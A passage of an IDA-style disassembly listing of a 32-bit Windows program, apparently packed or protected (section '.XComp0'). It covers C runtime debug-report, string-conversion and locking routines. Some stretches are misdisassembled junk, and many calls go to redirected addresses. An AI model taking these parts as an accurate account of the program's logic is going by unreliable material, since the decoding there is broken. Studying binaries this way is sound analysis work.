near ptr 2920974h push 13h call sub_425990 add esp, 4 mov [ebp+var_4], 1 jmp short loc_4245DF ; --------------------------------------------------------------------------- loc_4245D8: ; CODE XREF: sub_4245A0+18j mov [ebp+var_4], 0 loc_4245DF: ; CODE XREF: sub_4245A0+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_424620 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_424608 push 13h call sub_425A30 add esp, 4 jmp short loc_424613 ; --------------------------------------------------------------------------- loc_424608: ; CODE XREF: sub_4245A0+5Aj push offset dword_4E96A8 nop call near ptr 2920974h loc_424613: ; CODE XREF: sub_4245A0+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4245A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424620 proc near ; CODE XREF: sub_4245A0+4Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_424643 cmp [ebp+arg_8], 0 jnz short loc_424643 xor eax, eax jmp loc_424804 ; --------------------------------------------------------------------------- loc_424643: ; CODE XREF: sub_424620+14j ; sub_424620+1Aj ... cmp [ebp+arg_4], 0 jnz short loc_424667 push offset dword_43ED5C push 0 push 55h push offset dword_43ED50 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_424667 int 3 ; Trap to Debugger loc_424667: ; CODE XREF: sub_424620+27j ; sub_424620+44j xor eax, eax test eax, eax jnz short loc_424643 cmp [ebp+arg_0], 0 jz loc_4247B6 cmp dword_4E92E4, 0 jnz short loc_4246C9 loc_424680: ; CODE XREF: sub_424620+9Fj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_8] jnb short loc_4246C1 mov edx, [ebp+arg_4] add edx, [ebp+var_4] movzx ax, byte ptr [edx] mov ecx, [ebp+arg_0] mov [ecx], ax mov edx, [ebp+arg_4] add edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_4246AD mov eax, [ebp+var_4] jmp loc_424804 ; --------------------------------------------------------------------------- loc_4246AD: ; CODE XREF: sub_424620+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx jmp short loc_424680 ; --------------------------------------------------------------------------- loc_4246C1: ; CODE XREF: sub_424620+66j mov eax, [ebp+var_4] jmp loc_424804 ; --------------------------------------------------------------------------- loc_4246C9: ; CODE XREF: sub_424620+5Ej mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4E92F4 push eax call near ptr 28F0000h nop mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4246F9 mov eax, [ebp+var_4] sub eax, 1 jmp loc_424804 ; --------------------------------------------------------------------------- loc_4246F9: ; CODE XREF: sub_424620+CCj nop call near ptr 27A0A66h cmp eax, 7Ah jz short loc_424717 call sub_42C1E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_424804 ; --------------------------------------------------------------------------- loc_424717: ; CODE XREF: sub_424620+E2j mov ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov [ebp+var_8], edx jmp short loc_42472E ; --------------------------------------------------------------------------- loc_424725: ; CODE XREF: sub_424620:loc_42476Fj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42472E: ; CODE XREF: sub_424620+103j mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_424771 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_424771 mov edx, [ebp+var_8] xor eax, eax mov al, [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42476F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42476F: ; CODE XREF: sub_424620+144j jmp short loc_424725 ; --------------------------------------------------------------------------- loc_424771: ; CODE XREF: sub_424620+11Cj ; sub_424620+127j mov ecx, [ebp+var_8] sub ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_4] push edx push 1 mov eax, dword_4E92F4 push eax nop call near ptr 28F0000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4247B1 call sub_42C1E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_424804 ; --------------------------------------------------------------------------- loc_4247B1: ; CODE XREF: sub_424620+17Fj mov eax, [ebp+var_4] jmp short loc_424804 ; --------------------------------------------------------------------------- loc_4247B6: ; CODE XREF: sub_424620+51j cmp dword_4E92E4, 0 jnz short loc_4247CD mov ecx, [ebp+arg_4] push ecx call sub_41EBD0 add esp, 4 jmp short loc_424804 ; --------------------------------------------------------------------------- loc_4247CD: ; CODE XREF: sub_424620+19Dj push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4E92F4 push eax nop call near ptr 28F0000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4247FE call sub_42C1E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_424804 ; --------------------------------------------------------------------------- loc_4247FE: ; CODE XREF: sub_424620+1CCj mov eax, [ebp+var_4] sub eax, 1 loc_424804: ; CODE XREF: sub_424620+1Ej ; sub_424620+88j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424620 endp ; --------------------------------------------------------------------------- align 10h db 0C1h, 0F9h, 39h ; --------------------------------------------------------------------------- loc_424813: ; CODE XREF: .XComp0:00424821j inc dword ptr [ebx+71h] push cs jl short loc_424861 pop edx mov dword ptr [ecx+6Ah], 19363440h jns short loc_424813 add [edx+16A8DBAAh], dl mov edx, 89B37AA0h add [ebp+1Fh], dh mov ch, 7Dh mov ch, 0D3h ; --------------------------------------------------------------------------- db 7Eh, 0BBh, 0C0h dd 71B0E1E1h, 4E91F8A3h, 91F8A100h, 0E8C1004Eh, 0FF2508h dd 4A30000h, 8B004E92h, 4E91F80Dh, 0FFE18100h, 89000000h db 0Dh ; --------------------------------------------------------------------------- loc_424861: ; CODE XREF: .XComp0:00424817j add [edx+158B004Eh], dl add [edx-1D3EFFB2h], dl or [ebx], al adc eax, offset dword_4E9204 mov dword_4E91FC, edx mov eax, dword_4E91F8 shr eax, 10h and eax, 0FFFFh mov dword_4E91F8, eax push 1 call sub_4295D0 add esp, 4 test eax, eax jnz short loc_4248A4 push 1Ch call sub_4249B0 add esp, 4 loc_4248A4: ; CODE XREF: .XComp0:00424898j call sub_42B550 test eax, eax jnz short loc_4248B7 push 10h call sub_4249B0 add esp, 4 loc_4248B7: ; CODE XREF: .XComp0:004248ABj mov dword ptr [ebp-4], 0 call sub_432170 nop call near ptr 2930C67h mov dword_4EA904, eax call sub_431F50 mov dword_4E9244, eax call sub_431A40 call sub_4318F0 call sub_4217C0 mov dword ptr [ebp-30h], 0 lea ecx, [ebp-5Ch] push ecx nop call near ptr 2930000h call sub_431830 mov [ebp-64h], eax mov edx, [ebp-30h] and edx, 1 test edx, edx jz short loc_424917 mov eax, [ebp-2Ch] and eax, 0FFFFh mov [ebp-6Ch], eax jmp short loc_42491E ; --------------------------------------------------------------------------- loc_424917: ; CODE XREF: .XComp0:00424908j mov dword ptr [ebp-6Ch], 0Ah loc_42491E: ; CODE XREF: .XComp0:00424915j mov ecx, [ebp-6Ch] push ecx mov edx, [ebp-64h] push edx push 0 push 0 nop call near ptr 27B03C5h push eax call sub_4016A7 mov [ebp-60h], eax mov eax, [ebp-60h] push eax call sub_421800 mov ecx, [ebp-14h] mov edx, [ecx] mov eax, [edx] mov [ebp-68h], eax mov ecx, [ebp-14h] push ecx mov edx, [ebp-68h] push edx call sub_431610 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-68h] push eax call sub_421820 mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424980 proc near ; CODE XREF: sub_423C90+2Cp ; sub_4249E0+8Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4E924C, 1 jnz short loc_424991 call sub_432540 loc_424991: ; CODE XREF: sub_424980+Aj mov eax, [ebp+arg_0] push eax call sub_432590 add esp, 4 push 0FFh call off_44FF40 add esp, 4 pop ebp retn sub_424980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249B0 proc near ; CODE XREF: .XComp0:0042489Cp ; .XComp0:004248AFp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4E924C, 1 jnz short loc_4249C1 call sub_432540 loc_4249C1: ; CODE XREF: sub_4249B0+Aj mov eax, [ebp+arg_0] push eax call sub_432590 add esp, 4 push 0FFh nop call near ptr 7C81CDDAh pop ebp retn sub_4249B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249E0 proc near ; DATA XREF: .XComp0:00441020o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4EA900, 0 jnz short loc_4249F9 mov dword_4EA900, 200h jmp short loc_424A0C ; --------------------------------------------------------------------------- loc_4249F9: ; CODE XREF: sub_4249E0+Bj cmp dword_4EA900, 14h jge short loc_424A0C mov dword_4EA900, 14h loc_424A0C: ; CODE XREF: sub_4249E0+17j ; sub_4249E0+20j push 83h push offset dword_43ED74 push 2 push 4 mov eax, dword_4EA900 push eax call sub_41F230 add esp, 14h mov dword_4E98F4, eax cmp dword_4E98F4, 0 jnz short loc_424A75 mov dword_4EA900, 14h push 86h push offset dword_43ED74 push 2 push 4 mov ecx, dword_4EA900 push ecx call sub_41F230 add esp, 14h mov dword_4E98F4, eax cmp dword_4E98F4, 0 jnz short loc_424A75 push 1Ah call sub_424980 add esp, 4 loc_424A75: ; CODE XREF: sub_4249E0+54j ; sub_4249E0+89j mov [ebp+var_4], 0 jmp short loc_424A87 ; --------------------------------------------------------------------------- loc_424A7E: ; CODE XREF: sub_4249E0+C4j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_424A87: ; CODE XREF: sub_4249E0+9Cj cmp [ebp+var_4], 14h jge short loc_424AA6 mov eax, [ebp+var_4] shl eax, 5 add eax, offset off_44FF48 mov ecx, [ebp+var_4] mov edx, dword_4E98F4 mov [edx+ecx*4], eax jmp short loc_424A7E ; --------------------------------------------------------------------------- loc_424AA6: ; CODE XREF: sub_4249E0+ABj mov [ebp+var_4], 0 jmp short loc_424AB8 ; --------------------------------------------------------------------------- loc_424AAF: ; CODE XREF: sub_4249E0:loc_424B06j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_424AB8: ; CODE XREF: sub_4249E0+CDj cmp [ebp+var_4], 3 jge short loc_424B08 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jz short loc_424AF6 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] cmp dword ptr [eax+edx], 0 jnz short loc_424B06 loc_424AF6: ; CODE XREF: sub_4249E0+F8j mov ecx, [ebp+var_4] shl ecx, 5 mov dword_44FF58[ecx], 0FFFFFFFFh loc_424B06: ; CODE XREF: sub_4249E0+114j jmp short loc_424AAF ; --------------------------------------------------------------------------- loc_424B08: ; CODE XREF: sub_4249E0+DCj mov esp, ebp pop ebp retn sub_4249E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B10 proc near ; DATA XREF: .XComp0:00441034o push ebp mov ebp, esp call sub_4256F0 movsx eax, byte_4E922C test eax, eax jz short loc_424B28 call sub_4327A0 loc_424B28: ; CODE XREF: sub_424B10+11j pop ebp retn sub_424B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B30 proc near ; CODE XREF: sub_41EC50+55p ; sub_4210E0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_44FF48 jb short loc_424B5E cmp [ebp+arg_0], offset dword_4501A8 ja short loc_424B5E mov eax, [ebp+arg_0] sub eax, offset off_44FF48 sar eax, 5 add eax, 1Ch push eax call sub_425990 add esp, 4 jmp short loc_424B6B ; --------------------------------------------------------------------------- loc_424B5E: ; CODE XREF: sub_424B30+Aj ; sub_424B30+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx nop call near ptr 7C901005h loc_424B6B: ; CODE XREF: sub_424B30+2Cj pop ebp retn sub_424B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B70 proc near ; CODE XREF: sub_425700+7Ep ; sub_42A270+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_424B8A mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_425990 add esp, 4 jmp short loc_424B97 ; --------------------------------------------------------------------------- loc_424B8A: ; CODE XREF: sub_424B70+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx nop call near ptr 7C901005h loc_424B97: ; CODE XREF: sub_424B70+18j pop ebp retn sub_424B70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BA0 proc near ; CODE XREF: sub_41EC50+70p ; sub_4210E0+2Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_44FF48 jb short loc_424BCE cmp [ebp+arg_0], offset dword_4501A8 ja short loc_424BCE mov eax, [ebp+arg_0] sub eax, offset off_44FF48 sar eax, 5 add eax, 1Ch push eax call sub_425A30 add esp, 4 jmp short loc_424BDB ; --------------------------------------------------------------------------- loc_424BCE: ; CODE XREF: sub_424BA0+Aj ; sub_424BA0+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call near ptr 7C9010EDh nop loc_424BDB: ; CODE XREF: sub_424BA0+2Cj pop ebp retn sub_424BA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BE0 proc near ; CODE XREF: sub_425700+116p ; sub_42A270+A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_424BFA mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_425A30 add esp, 4 jmp short loc_424C07 ; --------------------------------------------------------------------------- loc_424BFA: ; CODE XREF: sub_424BE0+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx nop call near ptr 7C9010EDh loc_424C07: ; CODE XREF: sub_424BE0+18j pop ebp retn sub_424BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C10 proc near ; CODE XREF: sub_424D20+113p ; sub_4250B0+33p push ebp mov ebp, esp nop call near ptr 7C859B72h pop ebp retn sub_424C10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_424C30 cmp dword ptr [ebp+8], 3 jl short loc_424C35 loc_424C30: ; CODE XREF: .XComp0:00424C28j or eax, 0FFFFFFFFh jmp short loc_424C73 ; --------------------------------------------------------------------------- loc_424C35: ; CODE XREF: .XComp0:00424C2Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_424C47 mov eax, [ebp+8] mov eax, dword_4501CC[eax*4] jmp short loc_424C73 ; --------------------------------------------------------------------------- loc_424C47: ; CODE XREF: .XComp0:00424C39j mov ecx, [ebp+0Ch] and ecx, 0FFFFFFF8h loc_424C4D: ; DATA XREF: .XComp0:00453134o ; .XComp0:0045317Co test ecx, ecx jz short loc_424C56 or eax, 0FFFFFFFFh jmp short loc_424C73 ; --------------------------------------------------------------------------- loc_424C56: ; CODE XREF: .XComp0:00424C4Fj mov edx, [ebp+8] mov eax, dword_4501CC[edx*4] mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov dword_4501CC[ecx*4], edx mov eax, [ebp-4] loc_424C73: ; CODE XREF: .XComp0:00424C33j ; .XComp0:00424C45j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_424C90 cmp dword ptr [ebp+8], 3 jl short loc_424C97 loc_424C90: ; CODE XREF: .XComp0:00424C88j mov eax, 0FFFFFFFEh jmp short loc_424CFA ; --------------------------------------------------------------------------- loc_424C97: ; CODE XREF: .XComp0:00424C8Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFAh jnz short loc_424CA9 mov eax, [ebp+8] mov eax, dword_4501D8[eax*4] jmp short loc_424CFA ; --------------------------------------------------------------------------- loc_424CA9: ; CODE XREF: .XComp0:00424C9Bj mov ecx, [ebp+8] mov edx, dword_4501D8[ecx*4] mov [ebp-4], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFCh jnz short loc_424CD0 push 0FFFFFFF5h nop call near ptr 2940000h mov ecx, [ebp+8] mov dword_4501D8[ecx*4], eax jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CD0: ; CODE XREF: .XComp0:00424CBAj cmp dword ptr [ebp+0Ch], 0FFFFFFFBh jnz short loc_424CEA push 0FFFFFFF4h call near ptr 2940000h nop mov edx, [ebp+8] mov dword_4501D8[edx*4], eax jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CEA: ; CODE XREF: .XComp0:00424CD4j mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov dword_4501D8[eax*4], ecx loc_424CF7: ; CODE XREF: .XComp0:00424CCEj ; .XComp0:00424CE8j mov eax, [ebp-4] loc_424CFA: ; CODE XREF: .XComp0:00424C95j ; .XComp0:00424CA7j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4E98F0 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4E98F0, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D20 proc near ; CODE XREF: sub_41EC50+24p ; sub_41ECE0+2Cp ... var_302C = dword ptr -302Ch var_3028 = dword ptr -3028h var_3024 = byte ptr -3024h var_3010 = byte ptr -3010h var_300C = dword ptr -300Ch var_3008 = byte ptr -3008h var_3007 = byte ptr -3007h var_2008 = byte ptr -2008h var_2007 = byte ptr -2007h var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch push ebp mov ebp, esp mov eax, 302Ch call sub_421EE0 push edi mov [ebp+var_3008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_3007] rep stosd stosw stosb mov [ebp+var_2008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_2007] rep stosd stosw stosb mov [ebp+var_1000], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] rep stosd stosw stosb lea eax, [ebp+arg_14] mov [ebp+var_1004], eax cmp [ebp+arg_0], 0 jl short loc_424D8E cmp [ebp+arg_0], 3 jl short loc_424D96 loc_424D8E: ; CODE XREF: sub_424D20+66j or eax, 0FFFFFFFFh jmp loc_4250AB ; --------------------------------------------------------------------------- loc_424D96: ; CODE XREF: sub_424D20+6Cj cmp [ebp+arg_0], 2 jnz loc_424E40 push offset dword_4501C8 nop call near ptr 2920A33h test eax, eax jle loc_424E40 cmp dword_4E9254, 0 jnz short loc_424DFE push offset aUser32_dll_0 ; "user32.dll" call near ptr 27D0000h nop mov [ebp+var_300C], eax cmp [ebp+var_300C], 0 jz short loc_424DF6 push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_300C] push ecx nop call near ptr 27D0334h mov dword_4E9254, eax cmp dword_4E9254, 0 jnz short loc_424DFE loc_424DF6: ; CODE XREF: sub_424D20+B4j or eax, 0FFFFFFFFh jmp loc_4250AB ; --------------------------------------------------------------------------- loc_424DFE: ; CODE XREF: sub_424D20+9Aj ; sub_424D20+D4j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"... lea ecx, [ebp+var_2008] push ecx call dword_4E9254 ; wsprintfA add esp, 10h lea edx, [ebp+var_2008] push edx call near ptr 29401CDh nop push offset dword_4501C8 nop call near ptr 2920974h call sub_424C10 or eax, 0FFFFFFFFh jmp loc_4250AB ; --------------------------------------------------------------------------- loc_424E40: ; CODE XREF: sub_424D20+7Aj ; sub_424D20+8Dj cmp [ebp+arg_10], 0 loc_424E44: ; DATA XREF: .XComp0:004531A4o jz short loc_424E7D mov eax, [ebp+var_1004] push eax mov ecx, [ebp+arg_10] push ecx push 0FEDh lea edx, [ebp+var_1000] push edx call sub_422920 add esp, 10h test eax, eax jge short loc_424E7D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea eax, [ebp+var_1000] push eax call sub_422580 add esp, 8 loc_424E7D: ; CODE XREF: sub_424D20:loc_424E44j ; sub_424D20+147j cmp [ebp+arg_0], 2 jnz short loc_424EB5 cmp [ebp+arg_10], 0 jz short loc_424E95 mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: " jmp short loc_424E9F ; --------------------------------------------------------------------------- loc_424E95: ; CODE XREF: sub_424D20+167j mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!" loc_424E9F: ; CODE XREF: sub_424D20+173j mov ecx, [ebp+var_3028] push ecx lea edx, [ebp+var_3008] push edx call sub_422580 add esp, 8 loc_424EB5: ; CODE XREF: sub_424D20+161j lea eax, [ebp+var_1000] push eax lea ecx, [ebp+var_3008] push ecx call sub_422590 add esp, 8 cmp [ebp+arg_0], 2 jnz short loc_424F0A mov edx, [ebp+arg_0] mov eax, dword_4501CC[edx*4] and eax, 1 test eax, eax jz short loc_424EF6 push offset asc_43EDB0 ; "\r" lea ecx, [ebp+var_3008] push ecx call sub_422590 add esp, 8 loc_424EF6: ; CODE XREF: sub_424D20+1C0j push offset asc_43EDAC ; "\n" lea edx, [ebp+var_3008] push edx call sub_422590 add esp, 8 loc_424F0A: ; CODE XREF: sub_424D20+1AFj cmp [ebp+arg_4], 0 jz short loc_424F52 lea eax, [ebp+var_3008] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push offset aSDS ; "%s(%d) : %s" push 1000h lea eax, [ebp+var_2008] push eax call sub_421B90 add esp, 18h test eax, eax jge short loc_424F50 push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_2008] push ecx call sub_422580 add esp, 8 loc_424F50: ; CODE XREF: sub_424D20+21Aj jmp short loc_424F68 ; --------------------------------------------------------------------------- loc_424F52: ; CODE XREF: sub_424D20+1EEj lea edx, [ebp+var_3008] push edx lea eax, [ebp+var_2008] push eax call sub_422580 add esp, 8 loc_424F68: ; CODE XREF: sub_424D20:loc_424F50j cmp dword_4E98F0, 0 jz short loc_424FAC lea ecx, [ebp+var_1008] push ecx lea edx, [ebp+var_2008] push edx mov eax, [ebp+arg_0] push eax call dword_4E98F0 add esp, 0Ch test eax, eax jz short loc_424FAC cmp [ebp+arg_0], 2 jnz short loc_424FA1 push offset dword_4501C8 call near ptr 2920974h nop loc_424FA1: ; CODE XREF: sub_424D20+274j mov eax, [ebp+var_1008] jmp loc_4250AB ; --------------------------------------------------------------------------- loc_424FAC: ; CODE XREF: sub_424D20+24Fj ; sub_424D20+26Ej mov ecx, [ebp+arg_0] mov edx, dword_4501CC[ecx*4] and edx, 1 test edx, edx jz short loc_424FFB mov eax, [ebp+arg_0] cmp dword_4501D8[eax*4], 0FFFFFFFFh jz short loc_424FFB push 0 lea ecx, [ebp+var_3010] push ecx lea edx, [ebp+var_2008] push edx call sub_41EBD0 add esp, 4 push eax lea eax, [ebp+var_2008] push eax mov ecx, [ebp+arg_0] mov edx, dword_4501D8[ecx*4] push edx call near ptr 2810000h nop loc_424FFB: ; CODE XREF: sub_424D20+29Bj ; sub_424D20+2A8j mov eax, [ebp+arg_0] mov ecx, dword_4501CC[eax*4] and ecx, 2 test ecx, ecx jz short loc_425019 lea edx, [ebp+var_2008] push edx nop call near ptr 29401CDh loc_425019: ; CODE XREF: sub_424D20+2EAj mov eax, [ebp+arg_0] mov ecx, dword_4501CC[eax*4] and ecx, 4 test ecx, ecx jz short loc_425098 cmp [ebp+arg_8], 0 jz short loc_42504D push 0Ah lea edx, [ebp+var_3024] push edx mov eax, [ebp+arg_8] push eax call sub_432880 add esp, 0Ch mov [ebp+var_302C], eax jmp short loc_425057 ; --------------------------------------------------------------------------- loc_42504D: ; CODE XREF: sub_424D20+30Ej mov [ebp+var_302C], 0 loc_425057: ; CODE XREF: sub_424D20+32Bj lea ecx, [ebp+var_1000] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_302C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4250B0 add esp, 14h mov [ebp+var_1008], eax cmp [ebp+arg_0], 2 jnz short loc_425090 push offset dword_4501C8 nop call near ptr 2920974h loc_425090: ; CODE XREF: sub_424D20+363j mov eax, [ebp+var_1008] jmp short loc_4250AB ; --------------------------------------------------------------------------- loc_425098: ; CODE XREF: sub_424D20+308j cmp [ebp+arg_0], 2 jnz short loc_4250A9 push offset dword_4501C8 call near ptr 2920974h nop loc_4250A9: ; CODE XREF: sub_424D20+37Cj xor eax, eax loc_4250AB: ; CODE XREF: sub_424D20+71j ; sub_424D20+D9j ... pop edi mov esp, ebp pop ebp retn sub_424D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B0 proc near ; CODE XREF: sub_424D20+351p var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1138h call sub_421EE0 loc_4250BD: ; CODE XREF: sub_4250B0+3Cj cmp [ebp+arg_10], 0 jnz short loc_4250E8 push offset aSzusermessageN ; "szUserMessage != NULL" push 0 push 1DAh push offset aDbgrpt_c ; "dbgrpt.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_4250E8 call sub_424C10 loc_4250E8: ; CODE XREF: sub_4250B0+11j ; sub_4250B0+31j xor eax, eax test eax, eax jnz short loc_4250BD push 104h lea ecx, [ebp+var_108] push ecx push 0 nop call near ptr 2790000h test eax, eax jnz short loc_42511A push offset aProgramNameUnk ; "<program name unknown>" lea edx, [ebp+var_108] push edx call sub_422580 add esp, 8 loc_42511A: ; CODE XREF: sub_4250B0+54j lea eax, [ebp+var_108] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41EBD0 add esp, 4 cmp eax, 40h jbe short loc_42515D mov edx, [ebp+var_4] push edx call sub_41EBD0 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax-40h] mov [ebp+var_4], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_4] push eax call sub_421470 add esp, 0Ch loc_42515D: ; CODE XREF: sub_4250B0+82j mov ecx, [ebp+arg_C] mov [ebp+var_1110], ecx cmp [ebp+var_1110], 0 jz short loc_4251B8 mov edx, [ebp+var_1110] push edx call sub_41EBD0 add esp, 4 cmp eax, 40h jbe short loc_4251B8 mov eax, [ebp+var_1110] push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp+var_1110] lea edx, [ecx+eax-40h] mov [ebp+var_1110], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_1110] push eax call sub_421470 add esp, 0Ch loc_4251B8: ; CODE XREF: sub_4250B0+BDj ; sub_4250B0+D1j cmp [ebp+arg_0], 2 jnz short loc_4251CA mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"... jmp short loc_4251D4 ; --------------------------------------------------------------------------- loc_4251CA: ; CODE XREF: sub_4250B0+10Cj mov [ebp+var_1114], offset dword_43EEFC loc_4251D4: ; CODE XREF: sub_4250B0+118j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4251E9 